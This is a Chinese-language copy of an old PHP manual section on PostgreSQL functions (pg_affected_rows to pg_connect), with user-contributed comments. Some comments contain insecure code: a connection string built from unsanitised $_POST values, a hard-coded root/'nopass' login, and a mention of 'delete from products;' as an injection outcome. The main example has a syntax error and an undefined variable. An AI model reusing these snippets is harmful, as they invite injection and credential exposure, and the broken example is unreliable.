Passed to pg_result_error_field(). The line number of the PostgreSQL source-code location where the error was reported.

PGSQL_DIAG_SOURCE_FUNCTION (integer)

Passed to pg_result_error_field(). The name of the PostgreSQL source-code function reporting the error.

PGSQL_ERRORS_TERSE (integer)

Passed to pg_set_error_verbosity(). Specified that returned messages include severity, primary text, and position only; this will normally fit on a single line.

PGSQL_ERRORS_DEFAULT (integer)

Passed to pg_set_error_verbosity(). The default mode produces messages that include the above plus any detail, hint, or context fields (these may span multiple lines).

PGSQL_ERRORS_VERBOSE (integer)

Passed to pg_set_error_verbosity(). The verbose mode includes all available fields.

PGSQL_STATUS_LONG (integer)

Passed to pg_result_status(). Indicates that numerical result code is desired.

PGSQL_STATUS_STRING (integer)

Passed to pg_result_status(). Indicates that textual result command tag is desired.

PGSQL_CONV_IGNORE_DEFAULT (integer)

Passed to pg_convert(). Ignore default values in the table during conversion.

PGSQL_CONV_FORCE_NULL (integer)

Passed to pg_convert(). Use SQL NULL in place of an empty string.

PGSQL_CONV_IGNORE_DEFAULT (integer)

Passed to pg_convert(). Ignore conversion of NULL into SQL NOT NULL columns.

注释

注: 不是所有的版本都支持所有的函数，这和 libpq（PostgreSQL C 客户端库）的版本和编译方法有关。如果 PHP 的 PostgreSQL 扩展不见了，那是因为 libpq 的版本不支持它。

注: 大多数 PostgreSQL 函数接受 connection 作为第一个可选参数。如果没有提供，则使用上一个打开的连接。如果没有打开的连接，函数返回 FALSE。

注: PostgreSQL 在创建对象和查询时自动将所有标识符（例如表／列名）转成小写字母值。要强制其使用混合或大写字母的标识符，必须将标识符用双引号（"）转义。

注: PostgreSQL 没有特殊的命令来取得数据库的结构信息（例如当前数据库中的所有表）。不过在 PostgreSQL 7.4 及以上版本有一个标准结构名叫 information_schema，它包含有系统视图以及所有必要的信息，可以很容易地查询出来。其细节见 PostgreSQL 文档。

范例

此简单例子演示了 PostgreSQL 数据库的连接，执行查询，显示结果以及断开连接。

例子 1. PostgreSQL 例子

<?php
// 连接，选择数据库
$db = pg_connect("host=localhost dbname=publishing user=www password=foo");
    or die('Could not connect: ' . pg_last_error());

// 执行 SQL 查询
$query = 'SELECT * FROM authors';
$result = pg_query($query) or die('Query failed: ' . pg_last_error());

// 用 HTML 显示结果
echo "<table>\n";
while ($line = pg_fetch_array($result, null, PGSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($line as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</table>\n";

// 释放结果集
pg_free_result($result);

// 关闭连接
pg_close($link);
?>

目录
pg_affected_rows -- 返回受影响的记录数目
pg_cancel_query -- 取消异步查询
pg_client_encoding -- 取得客户端编码方式
pg_close -- 关闭一个 PostgreSQL 连接
pg_connect -- 打开一个 PostgreSQL 连接
pg_connection_busy -- 获知连接是否为忙
pg_connection_reset -- 重置连接（再次连接）
pg_connection_status -- 获得连接状态
pg_convert -- 将关联的数组值转换为适合 SQL 语句的格式。
pg_copy_from -- 根据数组将记录插入表中
pg_copy_to -- 将一个表拷贝到数组中
pg_dbname -- 获得数据库名
pg_delete -- 删除记录
pg_end_copy -- 与 PostgreSQL 后端同步
pg_escape_bytea -- 转义 bytea 类型的二进制数据
pg_escape_string -- 转义 text/char 类型的字符串
pg_execute -- Sends a request to execute a prepared statement with given parameters, and waits for the result.
pg_fetch_all_columns -- Fetches all rows in a particular result column as an array
pg_fetch_all -- 从结果中提取所有行作为一个数组
pg_fetch_array -- 提取一行作为数组
pg_fetch_assoc -- 提取一行作为关联数组
pg_fetch_object -- 提取一行作为对象
pg_fetch_result -- 从结果资源中返回值
pg_fetch_row -- 提取一行作为枚举数组
pg_field_is_null -- 测试字段是否为 NULL
pg_field_name -- 返回字段的名字
pg_field_num -- 返回字段的编号
pg_field_prtlen -- 返回打印出来的长度
pg_field_size -- 返回指定字段占用内部存储空间的大小
pg_field_type_oid -- Returns the type ID (OID) for the corresponding field number
pg_field_type -- 返回相应字段的类型名称
pg_free_result -- 释放查询结果占用的内存
pg_get_notify -- Ping 数据库连接
pg_get_pid -- Ping 数据库连接
pg_get_result -- 取得异步查询结果
pg_host -- 返回和某连接关联的主机名
pg_insert -- 将数组插入到表中
pg_last_error -- 得到某连接的最后一条错误信息
pg_last_notice -- 返回 PostgreSQL 服务器最新一条公告信息
pg_last_oid -- 返回上一个对象的 oid
pg_lo_close -- 关闭一个大型对象
pg_lo_create -- 新建一个大型对象
pg_lo_export -- 将大型对象导出到文件
pg_lo_import -- 将文件导入为大型对象
pg_lo_open -- 打开一个大型对象
pg_lo_read_all -- 读入整个大型对象并直接发送给浏览器
pg_lo_read -- 从大型对象中读入数据
pg_lo_seek -- 移动大型对象中的指针
pg_lo_tell -- 返回大型对象的当前指针位置
pg_lo_unlink -- 删除一个大型对象
pg_lo_write -- 向大型对象写入数据
pg_meta_data -- 获得表的元数据
pg_num_fields -- 返回字段的数目
pg_num_rows -- 返回行的数目
pg_options -- 获得和连接有关的选项
pg_parameter_status -- Looks up a current parameter setting of the server.
pg_pconnect -- 打开一个持久的 PostgreSQL 连接
pg_ping -- Ping 数据库连接
pg_port -- 返回该连接的端口号
pg_prepare -- Submits a request to create a prepared statement with the given parameters, and waits for completion.
pg_put_line -- 向 PostgreSQL 后端发送以 NULL 结尾的字符串
pg_query_params -- Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.
pg_query -- 执行查询
pg_result_error_field -- Returns an individual field of an error report.
pg_result_error -- 获得查询结果的错误信息
pg_result_seek -- 在结果资源中设定内部行偏移量
pg_result_status -- 获得查询结果的状态
pg_select -- 选择记录
pg_send_execute -- Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).
pg_send_prepare -- Sends a request to create a prepared statement with the given parameters, without waiting for completion.
pg_send_query_params -- Submits a command and separate parameters to the server without waiting for the result(s).
pg_send_query -- 发送异步查询
pg_set_client_encoding -- 设定客户端编码
pg_set_error_verbosity -- Determines the verbosity of messages returned by pg_last_error() and pg_result_error().
pg_trace -- 启动一个 PostgreSQL 连接的追踪功能
pg_transaction_status -- Returns the current in-transaction status of the server.
pg_tty -- 返回该连接的 tty 号
pg_unescape_bytea -- 取消 bytea 类型中的字符串转义
pg_untrace -- 关闭 PostgreSQL 连接的追踪功能
pg_update -- 更新表
pg_version -- Returns an array with client, protocol and server version (when available)

add a note add a note User Contributed Notes
Chris KL
11-Nov-2005 09:17
Here is a better array parser for PHP.  It will work with 1-d arrays only.  Unlike the example below it will work in all cases.

   /**
     * Change a db array into a PHP array
     * @param $arr String representing the DB array
     * @return A PHP array
     */
   function phpArray($dbarr) {
       // Take off the first and last characters (the braces)
       $arr = substr($dbarr, 1, strlen($dbarr) - 2);

       // Pick out array entries by carefully parsing.  This is necessary in order
       // to cope with double quotes and commas, etc.
       $elements = array();
       $i = $j = 0;
       $in_quotes = false;
       while ($i < strlen($arr)) {
           // If current char is a double quote and it's not escaped, then
           // enter quoted bit
           $char = substr($arr, $i, 1);
           if ($char == '"' && ($i == 0 || substr($arr, $i - 1, 1) != '\\'))
               $in_quotes = !$in_quotes;
           elseif ($char == ',' && !$in_quotes) {
               // Add text so far to the array
               $elements[] = substr($arr, $j, $i - $j);
               $j = $i + 1;
           }
           $i++;
       }
       // Add final text to the array
       $elements[] = substr($arr, $j);

       // Do one further loop over the elements array to remote double quoting
       // and escaping of double quotes and backslashes
       for ($i = 0; $i < sizeof($elements); $i++) {
           $v = $elements[$i];
           if (strpos($v, '"') === 0) {
               $v = substr($v, 1, strlen($v) - 2);
               $v = str_replace('\\"', '"', $v);
               $v = str_replace('\\\\', '\\', $v);
               $elements[$i] = $v;
           }
       }

       return $elements;
   }
1413 at blargh dot com
12-Oct-2005 08:09
Here is some quick and dirty code to convert Postgres-returned arrays into PHP arrays.  There's probably a billion bugs, but since I'm only dealing with variable-depth-and-length arrays of integers, it works for my needs.

Most notably, any data that might have commas in it won't work right...

<?php
function PGArrayToPHPArray($pgArray)
{
  $ret = array();
  $stack = array(&$ret);
  $pgArray = substr($pgArray, 1, -1);
  $pgElements = explode(",", $pgArray);

  ArrayDump($pgElements);

  foreach($pgElements as $elem)
   {
     if(substr($elem,-1) == "}")
       {
         $elem = substr($elem,0,-1);
         $newSub = array();
         while(substr($elem,0,1) != "{")
           {
             $newSub[] = $elem;
             $elem = array_pop($ret);
           }
         $newSub[] = substr($elem,1);
         $ret[] = array_reverse($newSub);
       }
     else
       $ret[] = $elem;
   }
  return $ret;
}
?>
anis_wn at gawab dot com
06-Jun-2005 12:45
Setting up PostgreSQL for higher security PHP connection.

Case:
We want to connect to PostgreSQL database using username and password supplied by webuser at login time.

Fact (Linux):
Apache (perhaps other servers, too) running the server as (default to) apache user account. So if you connect to PostgreSQL using default user, apache will be assingned for it. If you hard code the user and password in your PHP script, you'll loose security restriction from PostgreSQL.

Solution:
(You are assumed to have enough privilege to do these things, though)
1. Edit pg_hba.conf to have the line like the one below
   host    db_Name    [web_server_ip_address] [ip_address_mask] md5
2. Add to you script the login page that submits username and password.
3. Use those information to login to PostgreSQL like these...
<?
   $conn = "host=$DBHost port=$DBPort dbname=$DBName ".
           "user='{$_POST['dbUsername']}' password='{$_POST['dbPassword']}'";
   $db = pg_connect ($conn);
[your other codes go here...]
?>
4. You must add users in PostgreSQL properly.
5. For your convenience, you can store the username and password to $_SESSION variable.

Good luck.
Anis WN
WillowCatkin at hotmail dot com
21-May-2005 09:43
There is an example:
<?php
/*
 * Define PostgreSQL database server connect parameters.
 */
define('PGHOST','10.0.0.218');
define('PGPORT',5432);
define('PGDATABASE','example');
define('PGUSER', 'root');
define('PGPASSWORD', 'nopass');
define('PGCLIENTENCODING','UNICODE');
define('ERROR_ON_CONNECT_FAILED','Sorry, can not connect the database server now!');

/*
 * Merge connect string and connect db server with default parameters.
 */
pg_pconnect('host=' . PGHOST . ' port=' . PGPORT . ' dbname=' . PGDATABASE . ' user=' . PGUSER . ' password=' . PGPASSWORD);

/*
 * generate sql statements to call db-server-side stored procedure(or function)
 * @parameter    string    $proc        stored procedure name.
 * @parameter    array    $paras        parameters, 2 dimensions array.
 * @return        string    $sql = 'select "proc"(para1,para2,para3);'
 * @example    pg_prepare('userExists',
 *                            array(
 *                                array('userName','chin','string'),
 *                                array('userId','7777','numeric')
 *                            )
 * )
 */
function pg_prepare($proc, $paras)
{
   $sql = 'select "' . $proc . '"(';
   $sql .= $paras[0][2] == 'numeric' ? $paras[0][1] : "'" . str_replace("'","''",$paras[0][1]) . "'";
   $len = count($paras);
   for ($i = 1; $i < $len; $i ++)
   {
       $sql .= ',';
       $sql .= $paras[$i][2] == 'numeric' ? $paras[$i][1] : "'" . str_replace("'","''",$paras[$i][1]) . "'";
   }
   $sql .= ');';
   return $sql;
}
?>
adaml at mimuw edu pl
02-Oct-2004 09:07
Yes, PHP does support stored procedures
You have to add "select" before the name of the
procedure, just like that:

$result = pg_querry($conn, "SELECT procedure_x($aa)");

if a procedure returns a cursor you do something like that:

$result = pg_query($conn, "SELECT procedure_x('rcursor'); FETCH ALL IN rcursor");
raja shahed at christine nothdurfter dot com
17-Jul-2004 02:14
A very good tutorial for Windows users' is here http://www.sitepoint.com/article/use-postgresql-php-windows. Herr Johan Faxer Shows also how to install Cygwin.
74012 dot 2773 at compuserve dot com
02-Jul-2004 12:35
for just a list of tables, this works with postgresql-7.2.1:

function pg_list_tables($db) {
   $sql = "select relname from pg_stat_user_tables order by relname;";
   return pg_query($db, $sql);
}
abondi at ijk dot it
26-May-2004 08:11
I've found another function to mimic the following mysql list tables function (http://www.php.net/manual/en/function.mysql-list-tables.php) that's more useful for my target:

function pg_list_tables() {
     $sql = "SELECT a.relname AS Name
         FROM pg_class a, pg_user b
         WHERE ( relkind = 'r') and relname !~ '^pg_' AND relname !~ '^sql_'
         AND relname !~ '^xin[vx][0-9]+' AND b.usesysid = a.relowner
         AND NOT (EXISTS (SELECT viewname FROM pg_views WHERE viewname=a.relname));";
     return(pg_query($conn, $sql));
}
fmonteiro11 at hotmail dot com
16-Jan-2004 02:50
Another good source of knowledge is http://www.faqs.org/docs/ppbook/book1.htm
daniel at bichara dot com dot br
31-Dec-2002 09:04
Running RedHat Linux and Apache with suexec enabled you must include pgsql.so on each .php file using dl("pgsql.so") and remove "extension=pgsql.so" from php.ini, otherwise Apache (httpd) will not start.
anonymous at unknown dot com
30-Nov-2002 01:50
I just wanted to add to my previous post I've got the system up and running.
Environment: Windows XP, Apache 1.3.23, Php 4.3 RC2, PostGreSQL beta4 native windows build

Installation was fairly easy:
1. read the readme.txt
2. edit the setenv.bat as described in readme
3. run 'initdb'
   all execs are in /bin
   help is accessed like <command> --help
4. Start the psql deamon - you may want to create a batch file like
   'D:\postgres_beta4\bin\postmaster -h localhost -D D:/postgres_beta4/data'

   --deamon should be up and running now--

You can login into a shell from a console like
   'psql -h localhost -d <username>'

You must load the postgresql extension by editing the php.ini and restarting apache in order to access psql with php.

And one final not: when running
   $dbconn = pg_connect ("host=localhost port=5432 dbname=$dbname user=$user");
remember that $user and or $dbname is CASESENSITIVE.

Oh yeah, I created the data dir manually - don't know whether that was necessary

Grtz Vargo
swm at php dot net
22-Aug-2002 11:49
My talk on PHP and PostgreSQL which I presented at O'Reilly OSCON 2002 is now online.

http://www.alcove.com.au/oreilly/
mystran at wasteland dot pp dot htv dot fi
04-Feb-2002 11:46
Nice to know fact that I didn't find documented here.

PHP will return values of PostgreSQL boolean datatype as single character strings "t" and "f", not PHP true and false.

[Editor's Note]
't' or 'f' is valid boolean expression for PostgreSQL.

All values from PostgreSQL are strings, since PostgreSQL integer, float may be much larger than PHP's native int, double can handle. PostgreSQL array is not supported.
saberit at home dot com
15-Sep-2001 05:11
I tried compiling PHP from source with PostgreSQL support (./configure --with-pgsql=/usr/local/pgsql) and ran into a bunch of problems when trying to 'make'. The problem was that some of the PostgreSQL headers were not installed by default when I installed PostgreSQL from source. When installing PostgreSQL make sure you 'make install-all-headers' after you 'make install'.
hubert at hubertmuller dot com
10-Jul-2001 07:36
The best way to find the separated list of tables, sequences, keys etc is:

SELECT relname FROM pg_class WHERE relkind='<value>' AND relname !~ '^pg_';

<value> takes:
i for keys,
r for relations,
S for sequences

Note that all tables names that begins with 'pg_' are PostgreSQL internal tables (this explain why I use AND relname !~ '^pg_' condition).
passion at monkey dot org
28-Jun-2001 09:53
I've tried to mimic the following mysql database connection functions for postgres.
http://www.php.net/manual/en/function.mysql-list-dbs.php
http://www.php.net/manual/en/function.mysql-list-tables.php

These are assuming that you're passing in $link as the result from pg_connect:

function pg_list_dbs($link)
{
   $sql = 'SELECT datname FROM pg_database';
   return (pg_query($link, $sql));
}

function pg_list_tables($link)
{
   $sql = "SELECT relname FROM pg_class WHERE relname !~ '^pg_'";
   return (pg_query($link, $sql));
}
!spamcraig at ahdore dot com
15-Apr-2001 04:11
If you want to extract data from select statements, you need to store the result index, and then apply pg_result to that value. Basically, do this

$resultIdx = pg_query ($database, "select * from tablename");
$mySelect = pg_fetch_result($resultIdx, 0, 0);  // gets column 0 of tuple 0
echo("My select: [".$mySelect."]");

I'm new to php and had to do some fiddling around to work this out. It's reasonably elementary, but not demonstrated by the examples on these pages. Hopefully it will come in useful to someone else.
bleach at chek dot com
02-Mar-2000 04:36
If you want to see all the objects in a database, you can find that information in the pg_class table. <BR>
SELECT * FROM pg_class;<BR>
Now this is going to be kind of long and complex, to see how psql command handles the \d and other things. use the syntax.  psql -E <Database>, ie psql -E mydatabase <BR>
What this will do is show the SQL command used for everything. So when you type a \d or something, it shows the SQL query used for the result.
add a note add a note

后退 | 起点 | 前进
posix_uname | 上一级 | pg_affected_rows


pg_affected_rows

(PHP 4 >= 4.2.0, PHP 5)

pg_affected_rows -- 返回受影响的记录数目

说明

int pg_affected_rows ( resource result )

pg_affected_rows() 返回在 pg_query() 中执行 INSERT，UPDATE 和 DELETE 查询后受到影响的记录数目（包括实例／记录／行）。如果本函数没有影响到任何记录，则返回 0。

例子 1. pg_affected_rows() 例子

<?php
$result = pg_query($conn, "INSERT INTO authors VALUES ('Orwell', 2002, 'Animal Farm')");
$cmdtuples = pg_affected_rows($result);
echo $cmdtuples . " tuples are affected.\n";
?>

注: 本函数以前被称为 pg_cmdtuples()。

参见 pg_query() 和 pg_num_rows()。

add a note add a note User Contributed Notes
05-Aug-2005 06:31
That's not quite true, I've been able to execute multiple queries in a single call just fine. In stead, it has to do with the fact this function returns the affected rows for the last executed query, not the last set of queries specified to a single call to pg_query.
29-Jun-2005 09:15
Concering Bruno Baguette's note:

The pg_query function only allows one query per function call.  When you do your
$sql="BEGIN;
INSERT ...
COMMIT;";
$result=pg_query($conn,$sql);
echo pg_affected_rows($result);

you get a zero, because only the BEGIN; is executed.

The single query per call is, I beleive, a PHP builtin protection against SQL injection attacks.  (Ie someone submitting a string paramter that ends the current query and appends another one)
Bruno Baguette
28-Jun-2005 04:45
Note that when you submit several SQL queries, within one BEGIN;COMMIT; like this one :

$SQLQuery = 'BEGIN;';
$SQLQuery.= 'INSERT INTO a (a,b) VALUES (1,2);';
$SQLQuery.= 'INSERT INTO b (ref_b,c) VALUES (2,5);';
$SQLQuery.= 'COMMIT;';

$HandleResults = pg_query($SQLQuery);
echo(pg_affected_rows($HandleResults));

pg_affected_rows() will return 0
add a note add a note

后退 | 起点 | 前进
PostgreSQL 数据库函数 | 上一级 | pg_cancel_query


pg_cancel_query

(PHP 4 >= 4.2.0, PHP 5)

pg_cancel_query -- 取消异步查询

说明

bool pg_cancel_query ( resource connection )

pg_cancel_query() 取消由 pg_send_query() 发送的异步查询。不能取消由 pg_query() 执行的查询。

参见 pg_send_query() 和 pg_connection_busy()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_affected_rows | 上一级 | pg_client_encoding


pg_client_encoding

(PHP 3 CVS only, PHP 4 >= 4.0.3, PHP 5)

pg_client_encoding -- 取得客户端编码方式

说明

string pg_client_encoding ( [resource connection] )

pg_client_encoding() 以字符串形式返回客户端编码。所返回的字符串为以下之一：SQL_ASCII，EUC_JP，EUC_CN，EUC_KR，EUC_TW，UNICODE，MULE_INTERNAL，LATINX (X=1...9)，KOI8，WIN，ALT，SJIS，BIG5，WIN1250。

注: 本函数需要 PHP-4.0.3 或以上版本以及 PostgreSQL-7.0 或以上版本。如果在编译 libpq 时没有加入多字节编码支持，则 pg_set_client_encoding() 总是返回 "SQL_ASCII"。所支持的编码方式取决于 PostgreSQL 的版本。详情参见 PostgreSQL 手册如何加入多字节支持以及所支持的编码方式。

本函数以前被称为 pg_clientencoding()。

参见 pg_set_client_encoding()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_cancel_query | 上一级 | pg_close


pg_close

(PHP 3, PHP 4, PHP 5)

pg_close -- 关闭一个 PostgreSQL 连接

说明

bool pg_close ( resource connection )

pg_close() 关闭由所给资源 connection 指定的到 PostgreSQL 数据库的非持久连接。如果成功则返回 TRUE，失败则返回 FALSE。

注: 使用 pg_close() 并不很必要，因为非持久连接在本脚本执行结束后会自动关闭。

例子 1. pg_close() 例子

<?php
    $dbconn = pg_connect("host=localhost port=5432 dbname=mary")
        or die("Could not connect");
    print("Connected successfully");
    pg_close($dbconn);
?>

如果在此连接中打开了 large object 资源，则在关闭所有 large object 资源之前不要关闭连接。

add a note add a note User Contributed Notes
amays
16-Nov-2005 07:47
pg_close(...) will not technically close a persistent connection but instead returns it back to the connection pool thus giving you the desired effect of having the connection closed within your script.

http://www.sitepoint.com/article/accessing-postgresql-php/3

best wishes to all.
mark at redbrick dot dcu dot ie
24-Mar-2003 10:31
This function closes the current database connection specified by a handle returned from a pg_connect() call.

<?php
   $pgsql_conn = pg_connect("dbname=mark host=localhost");

   if ($pgsql_conn) {
       print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
   } else {
       print pg_last_error($pgsql_conn);
       exit;
   }

   // Do database stuff here.

   if(!pg_close($pgsql_conn)) {
       print "Failed to close connection to " . pg_host($pgsql_conn) . ": " .
       pg_last_error($pgsql_conn) . "<br/>\n";
   } else {
       print "Successfully disconnected from database";
   }
?>

Of course you normally wouldn't print a message.

Regards, --mark
add a note add a note

后退 | 起点 | 前进
pg_client_encoding | 上一级 | pg_connect


pg_connect

(PHP 3, PHP 4, PHP 5)

pg_connect -- 打开一个 PostgreSQL 连接

说明

resource pg_connect ( string connection_string )

pg_connect() 返回其它 PostgreSQL 函数所需要的资源。

pg_connect() 打开一个由 connection_string 所指定的 PostgreSQL 数据库的连接。如果成功则返回连接资源，如果不能连接则返回 FALSE。connection_string 应该是用引号引起来的字符串。

例子 1. 使用 pg_connect()

<?php
$dbconn = pg_connect("dbname=mary");
//connect to a database named "mary"
$dbconn2 = pg_connect("host=localhost port=5432 dbname=mary");
// connect to a database named "mary" on "localhost" at port "5432"
$dbconn3 = pg_connect("host=sheep port=5432 dbname=mary user=lamb password=foo");
//connect to a database named "mary" on the host "sheep" with a username and password

$conn_string = "host=sheep port=5432 dbname=test user=lamb password=bar";
$dbconn4 = pg_connect($conn_string);
//connect to a database named "test" on the host "sheep" with a username and password
?>
connection_string 所包括的参数有 host，port，tty, options，dbname, user 和 password。

如果用同样的 connection_string 再次调用 pg_connect()，不会建立新连接，而是返回前面已经打开的连接资源。如果使用不同的连接字符串，则可以和同一个数据库建立多个连接。

旧的多参数语法 $conn = pg_connect("host", "port", "options", "tty", "dbname") 已经不提倡使用。

参见 pg_pconnect()，pg_close()，pg_host()，pg_port(), pg_tty()，pg_options() 和 pg_dbname()。

add a note add a note User Contributed Notes
Hotmail resident Tree2054
17-Dec-2005 12:41
From the above HTML:

>> Return Values
>>
>> PostgreSQL connection resource on success, FALSE on failure.

Your connection failed, database toto does not exist so you were returned false.
willou.d AT gmail DOT com
08-Dec-2005 01:29
pg_connect not seems to return a resource when the connection fail.

For this example the database 'toto' doesn't exist.

With the following code :
<?php

$cnxString = "host=localhost port=5432 dbname=toto user=username
password=secret";

$pgsql_conn = pg_connect($cnxString, PGSQL_CONNECT_FORCE_NEW);

if ($pgsql_conn) {
  print "Connexion russie  : " . pg_host($pgsql_conn) . "<br/>\n";
} else {
  echo pg_last_notice($pgsql_conn);
  exit;
}
?>

The result on screen (php.display_errors=1) :

Warning: pg_connect() [function.pg-connect]: Unable to connect to PostgreSQL server: FATAL: la base de donnes toto n'existe pas in /home/willou/public_html/atlanpolis/wwws/tools/checkdb.php on line 5

Warning: pg_last_notice() expects parameter 1 to be resource, boolean given in /home/willou/public_html/atlanpolis/wwws/tools/checkdb.php on line 10

Why ? Please show me my error.
Thanks.

PS : (Versions) PHP Version 5.0.4 ; PostgreSQL(libpq) Version 8.0.3 ; Apache/2.0.54
Anonymous
11-Apr-2005 12:51
The values accepted by pg_connect's sslmode argument are: disable, allow, prefer, require
sigve at wolfraidah dot no
22-Feb-2005 07:04
Regarding Helio Ferenhof's comment above:

That practice may be extremely dangerous, because (at least) Apache doesn't have any special handle for *.inc files. When they are included into your PHP-script, it works fine, but if you enter the filename in a web browser's address field you will get the contents of the file dumped as cleartext - including the username and password!

This can be remedied by a) renaming the include file to .php, b) adding a .htaccess directive which hides the .inc-files, or globally handle .inc files with php in apache.conf (not recommended, I guess).
phpnet at benjamin dot schulz dot name
01-Sep-2004 07:28
if you need to open a new connection handle (i.e. for multiple pg_send_query()) use PGSQL_CONNECT_FORCE_NEW as second parameter to pg_connect()
u233 at shaw dot ca
17-Jun-2004 09:52
The suggestion of grheatley is exceedingly dangerous.

Because "fred" owns the database and apache is connecting as "fred", if there is an error in your php or it is vulnerable to SQL injection attacks nasty things like "delete from products;" can easily happen. Furthermore, the default to trust all local users has not been overridden, thus anyone who can run arbitrary code (even as "nobody" or "apache") on your server can connect as postmaster and drop the database or insert data.

It is vitally important to remember that any user with the createdb or createuser privaleges is considered a "superuser" for ALL databases managed by that postmaster instance.

What you should be doing is:
fred@localhost ~fred$psql -U postmaster template1

BEGIN WORK;
ALTER USER postmaster WITH PASSWORD '(password)';
CREATE USER fred WITH PASSWORD '(password)' CREATEDB CREATEUSER;
COMMIT;
\q

Now, edit your pg_hba.conf to:

local    all    all  md5
host    all    all  reject
hostssl all  all    reject

Then:
fred@localhost ~fred$createdb fred
fred@localhost ~fred$psql -U fred fred

BEGIN WORK;
CREATE USER "webserver" WITH PASSWORD '(password)';

create table public_readable (
     rowid  serial primary key,
     mydata  varchar(50)
);
grant select on public_readable to public;

create table webserver_editable (
     rowid  serial primary key,
     ourdata  varchar(50)
);
grant insert on webserver_editable to "webserver";
grant delete on webserver_editable to "webserver";
grant update on webserver_editable to "webserver";
grant select on webserver_editable to "webserver";

create table webserver_write_once(
   -- this table is for write-only logging
   rowid  serial primary key,
   logdata varchar(50)
);
grant insert on webserver_write_once to "webserver";

COMMIT;

Now, your php scripts connect like this:
<? $conn = pg_connect("dbname=fred user=webserver password=(password)"); ?>

For more flexibility, you can create a postgres user for each user who can log on to your website and use the pg_connect as your website authentication method (cacheing is your friend). By making all the users in the same group, you can grant them all access to the tables with a single command but restrict what rows they may access by using views.

Do this like so:

fred@localhost ~fred$psql -U fred fred

BEGIN WORK;

CREATE GROUP "salespeople";
CREATE GROUP "customers";

CREATE TABLE customerAddresses (
   customername    name references pg_users(usename) primary key;
   address  varchar(50)
)

GRANT SELECT ON customerAddresses TO GROUP "salespeople";
GRANT INSERT ON customerAddresses TO GROUP "salespeople";
GRANT UPDATE ON customerAddresses TO GROUP "salespeople";
GRANT DELETE ON customerAddresses TO GROUP "salespeople";

CREATE VIEW myAddress as select address from customerAddresses where customername = current_user;

CREATE RULE updateMyAddress as on update to myAddress do instead update customerAddresses set address = NEW.address where customerName=current_user;

CREATE RULE insertMyAddress as on insert to myAddress do instead insert into customerAddresses values (current_user, NEW.address);

GRANT INSERT ON myAddress to group "customers";
GRANT UPDATE ON myAddress to group "customers";
GRANT SELECT ON myAddress to group "customers";

COMMIT;

Now the problem becomes: How do un-privaledged users (ie salespeople or webserver) create all those customer accounts?
It's easy to solve with a little PL/pgSQL.

BEGIN WORK;

CREATE GROUP authorizedtocreatecustomers;

create or replace function makeuser (name,text) returns int4 as '
BEGIN
   execute ''create user '' || quote_ident($1) || '' with password '''''' || quote_literal($2) || ''''''  in group customers;'';
   return 0;
END;
' language 'plpgsql' security definer;

REVOKE EXECUTE ON function makeuser (name, text) FROM PUBLIC;
grant execute on function makeuser (name,text) to group authorizedtocreatecustomers;

COMMIT;

Now, just make sure webserver and all your salespeople are in the group "authorizedtocreatecustomers"
grheatley at uclan dot ac dot uk
08-Jun-2004 10:19
This is a quick note about getting postreSQL permissions to work for a Debian / php / PostgreSQL / Apache combination all *running on the same localhost*, so you can use unix sockets and not a TCP/IP connection.

Lets say you have a PostgreSQL user called 'fred' who has ownership of a database called 'freds_db'. To allow apache to connect to freds_db do this:
1) Set up a PostgreSQL password for user fred:
ALTER USER fred WITH PASSWORD 'freds_pass';
2) As root, edit /etc/postgresql/pg_hba.conf, adding the line (in lower case, below):
TYPE    DATABASE    USER    IP-ADDRESS IP-MASK    METHOD
local    freds_db    fred                            md5
3) As root, restart PostgreSQL:
/etc/init.d/postgresql restart
4) In php you should be able then to use:
<?php
pg_connect("dbname=freds_db user=fred password=freds_pass") or die("Couldn't Connect ".pg_last_error());
?>
A side effect of this is that fred now has to supply his password when he connects to freds_db in PostgreSQL via the command line, and any Debian user can connect to freds_db as fred if they know his password.

I'm not sure if this is the optimally secure method of achieving the desired result, but it works.
Cheers!
--
Guy
Cybertinus
16-Dec-2003 05:47
If you use pg_connect('host=localhost port=5432 user=my_username password=my_password dbname=my_dbname') and you get the following error:
"Warning: pg_connect(): Unable to connect to PostgreSQL server: could not connect to server: Connection refused Is the server running on host localhost and accepting TCP/IP connections on port 5432?"
then you should try to leave the host= and port= parts out of the connection string. This sounds strange, but this is an "option" of Postgre. If you have not activated the TCP/IP port in postgresql.conf then postgresql doesn't accept any incoming requests from an TCP/IP port. If you use host= in your connection string you are going to connect to Postgre via TCP/IP, so that's not going to work. If you leave the host= part out of your connection string you connect to Postgre via the Unix domain sockets, which is faster and more secure, but you can't connect with the database via any other PC as the localhost.
xzilla at users dot sourceforge dot net
10-Dec-2003 12:22
regarding the note from  matias at nospam dot projectcast dot com
on 12-Feb-2002 01:16, you do not need a user in the database with the same name a your web user with ANY version of postgresql.  The only time that would be a requirement ifs if you set your postgresql server to only allow IDENT based authentication  (which IIRC is the default on Red Hat systems, which might be what lead to the confusion).  For more info on the various authentication methods allowed by postgresql, check out http://www.postgresql.org/docs/7.4/static/client-authentication.html
derry at siliconriver.com dot au
08-Aug-2003 11:48
pg_connect seems to support SSL connections, on systems where Postgres has been compiled with ssl, i'm assuming this is since psql uses libpq to connect.
pg_connect can successfully connect, and use the "requiressl" argument.
jtate at php dot net
01-Jan-2003 06:36
If you use host=HOSTNAME in your pg_connect string when connecting to PostgreSQL databases newer than 7.1, you need to make sure that your postmaster daemon is started with the "-i" option.  Otherwise the connection will fail.  See http://www.postgresql.org/idocs/index.php?client-authentication.html for client authentication documentation.
khyri at khyri dot com
01-Nov-2002 08:23
After upgrading to PHP 4.2.3 from PHP 4.1.2 (Red Hat Linux Advanced Server with Stronghold 4.0) in order to manually compile in MHASH support, I discovered that Postgres support has disappeared, despite being specified on the command line, and compiling with no errors.

FATAL: Undefined function: pg_connect()

Confirmed by looking at the output of phpinfo() and comparing it to the output pre-upgrade - no mention of PostgreSQL in the new one.

Detective work led me to find that the old pgsql.so in /usr/lib/php4 was untouched, and the new one had ended up in /usr/lib/20020429 instead.

The fix was to edit config_vars.mk after configuration to change the value of EXTENSION_DIR, and then compile.

Not quite sure where 20020429 came from, looks like a left-over value from development testing...

